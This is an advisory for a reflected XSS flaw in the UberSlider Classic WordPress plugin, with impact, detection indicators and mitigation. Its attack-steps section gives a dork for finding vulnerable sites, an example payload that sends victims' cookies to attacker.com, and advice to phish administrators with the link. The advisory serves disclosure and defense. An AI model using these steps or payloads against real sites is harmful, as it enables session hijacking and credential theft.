CVE-2026-28102: 
WordPress vulnerability analysis and mitigation

CVE-2026-28102 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup UberSlider Classic WordPress plugin, affecting all versions up to and including 2.5. The vulnerability was reported by researcher João Pedro S Alcântara (Kinorth) on August 30, 2025, and published by Patchstack on February 27, 2026, with NVD registration on March 5, 2026. No official patch from the plugin developer is currently available. It carries a CVSS v3.1 base score of 7.1 (High), assigned by CISA-ADP (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input passed through the uberSlider_classic plugin is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject arbitrary JavaScript. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a victim must click a crafted malicious link or visit a specially crafted URL that triggers the reflected payload (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement via injected HTML/scripts, or delivery of malware to site visitors. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other browser-accessible resources (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the UberSlider Classic plugin (version ≤ 2.5) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/uberSlider_classic).
2. Identify vulnerable parameter: Analyze the plugin's front-end behavior to locate the unsanitized input parameter that is reflected in the HTTP response without proper encoding.
3. Craft malicious URL: Construct a URL targeting the vulnerable WordPress page with a reflected XSS payload embedded in the vulnerable parameter (e.g., https://target.com/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Deliver payload: Send the crafted URL to a target victim (e.g., a WordPress administrator) via phishing email, social engineering, or malicious advertisement.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their browser context, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Network: HTTP requests to WordPress pages hosting the UberSlider Classic plugin containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting the site.
• Logs: WordPress or web server access logs showing GET requests with suspicious encoded payloads in query strings targeting pages using the uberSlider_classic plugin; referrer headers pointing to external phishing or attacker-controlled domains.
• File System: Unexpected modifications to plugin files in wp-content/plugins/uberSlider_classic/ that may indicate secondary compromise following successful XSS-based session hijacking.

As of the time of publication, no official patch from the plugin developer (LambertGroup) is available for UberSlider Classic. Site administrators are advised to deactivate and remove the plugin until an official fix is released. Patchstack has issued a virtual patching/mitigation rule for Patchstack-protected sites to block exploitation attempts in the interim. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help reduce exposure (Patchstack).

The vulnerability was discovered and reported by independent researcher João Pedro S Alcântara (Kinorth) and disclosed through Patchstack's coordinated vulnerability disclosure process. Patchstack classified it as medium priority and noted its potential for use in mass-exploit campaigns targeting WordPress installations. No significant broader media coverage or notable social media commentary beyond automated CVE tracking feeds has been identified (Patchstack).